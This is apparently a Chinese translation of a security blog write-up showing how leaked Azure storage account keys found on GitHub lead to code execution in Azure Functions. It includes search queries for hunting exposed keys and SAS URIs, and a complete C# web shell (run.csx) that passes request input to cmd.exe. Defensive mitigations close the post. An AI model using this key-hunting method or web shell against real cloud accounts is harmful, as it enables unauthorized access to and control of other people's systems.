本文为译文,原为链接为:https://notsosecure.com/identifying-exploiting-leaked-azure-storage-keys
摘要(全文脉络)
- 访问泄露的存储帐户的访问密钥
- 连接到存储帐户并下载 Blob、文件等
- 文件中包含 Azure 函数的代码
- 使用 web-shell 创建一个新的 HTTP 触发器
- 将恶意文件作为新触发器上传到 Azure 文件并运行操作系统命令
Azure 存储帐户访问密钥(Access Keys)和 SAS URI
Azure 存储帐户使用包含帐户名称和密钥的凭据。创建存储帐户时会自动生成该密钥,该密钥将用作连接到 Azure 存储的密码。默认情况下,存储访问密钥具有所有权限,类似于存储帐户的root密码。
Azure 存储帐户包含的存储类型有: Blob、队列、表和文件(共享文件夹或驱动器),并可通过API访问。
此外,Azure 提供了共享访问签名 (SAS) URI,用于授予对存储对象的细粒度访问权限。SAS URI,可以控制要公开哪些数据,以及对这些对象赋予哪些权限(SignedPermission),以及 SAS URI 的有效时间(SignedExpiry),其他参数如下所述:
https://<accountname>.<service>.core.windows.net/?sv=2018-03-28&ss=bfqt&srt=sco&sp=rwdlacup&se=2019-09-30T17:13:23Z&st=2019-09-30T09:13:23Z&sip=88.208.222.83&spr=https&sig=LCoN4d%2B%2BZSzPtPO71fMS34k%2FhLf2Wjen9pzhlAGFfPU%3D
更多详细信息:https ://docs.microsoft.com/en-us/rest/api/storageservices/create-account-sas
查找访问密钥(Access Keys)和 SAS URI
Access Keys和SAS URI 至关重要,故我们需防止出现未经授权漏洞导致的信息泄露的情况出现。但在某些情况下,此信息可在公共资源中获得。我们可创建了一个参数列表,有助于查找帐户名称、密钥和 SAS URI。
账户名称和密钥
推荐一个很赞的搜索网站,可进行多站点搜索:https://tools.redhuntlabs.com/online-ide-and-paste-search-tool.html,有助于搜索访问密钥(Access Keys)和 SAS URI
共享访问签名 - SAS URI
Github
https://github.com/search?q=rwdlacup&type=Code
Google
此外,相关信息也可以在这些文件中找到:
- web.config
- local.settings.json
- app.config
**关注下面这个 SAS URL,签名有效间隔(se 参数)设置得太高,它对文件共享对象拥有所有可用权限。如果恶意行为者发现了此 URL,则他可以读取、更新和删除存储帐户中的所有对象。 **
https://storageaccount.file.core.windows.net/XYZ-538d26??sv=2017-04-17&ss=bfqt&srt=sco&sp=rwdlacup&st=2019-09-30T19%3A43%3A56Z&se=2039-10-01T19%3A43%3A00Z&sig=WRo1i2cchlfVBCa%2FfwCqx3i%2BO64HSjbl%2F…..
后门
我们在公共托管的 Github 存储库中识别出 Azure 存储Azure AccountName 和 AccountKey,泄露了local.settings.json 文件中的 Azure 存储连接,如下图所示:
下一步是验证密钥并识别访问权限。
为此,我们使用 Azure 存储资源管理器 ( https://azure.microsoft.com/en-in/features/storage-explorer/ ) 使用Azure AccountName 和 AccountKey连接到存储帐户。
很幸运,该密钥有效,它可以作为存储帐户的 root 用户访问 Azure Blob、文件、队列和表。
我们进一步查看存储对象,文件共享目录包含以下结构,引起了我们的注意。
- ASP.NET
- data
- LogFiles
- root
- site
我们可以访问 site\wwwroot 目录中用于 HTTP 和 Blob 触发器的 Azure 函数的源代码(.csx - CSharp scripts),如下所示:
说了这么多,接下来到了重点中的重点了。
使用 Azure CLI 命令下载 BLOB 容器 (azure-webjobs-secrets)。
我们在 azure-webjobs-secrets 容器的“host.json”文件中找到了 HTTP 触发器的 URL。HTTP 端点 URL 处于活动状态,当授权级别设置为匿名时,我们可以访问它。
既然我们拥有读/写对象的权限,就可以覆盖现有的函数了。然而,由于它是一个生产实例,我们决定不覆盖或替换现有实例,而是选择一种非破坏性方法,在子文件夹中上传一个简单的 hello world HTTP 触发器,如下所示。
成功挂上了黑页了。
接下来演示一下代码执行:为了实现代码执行,我们使用 webshell 代码更新了“run.csx”并将其上传回 HellowWorldTrigger。
Web-shell (run.csx)
#r "Newtonsoft.Json"
using System.Net;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Primitives;
using Newtonsoft.Json;
using System;
using System.IO;
using System.Diagnostics;
public static async Task<IActionResult> Run(HttpRequest req, ILogger log)
{
log.LogInformation("C# HTTP trigger function processed a request.");
string cmd = req.Query["cmd"];
string requestBody = await new StreamReader(req.Body).ReadToEndAsync();
dynamic data = JsonConvert.DeserializeObject(requestBody);
cmd = cmd ?? data?.cmd;
return cmd != null
? (ActionResult)new OkObjectResult(ExcuteCmd(cmd))
: new BadRequestObjectResult("Please pass a name on the query string or in the request body");
}
public static string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
我们现在可以访问 Web shell 并在 Azure 容器上执行任意命令。
因此,通过利用公共信息我们能够在 Azure 函数的环境中进行代码执行操作。
防护措施
- 定期重新生成存储帐户密钥
- 共享访问签名和存储访问策略以保护您的数据
- 限制对特定 IP 地址(或 IP 地址范围)的访问
- 将到期时间附加到 SAS URI
阅读更多:https ://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide
参考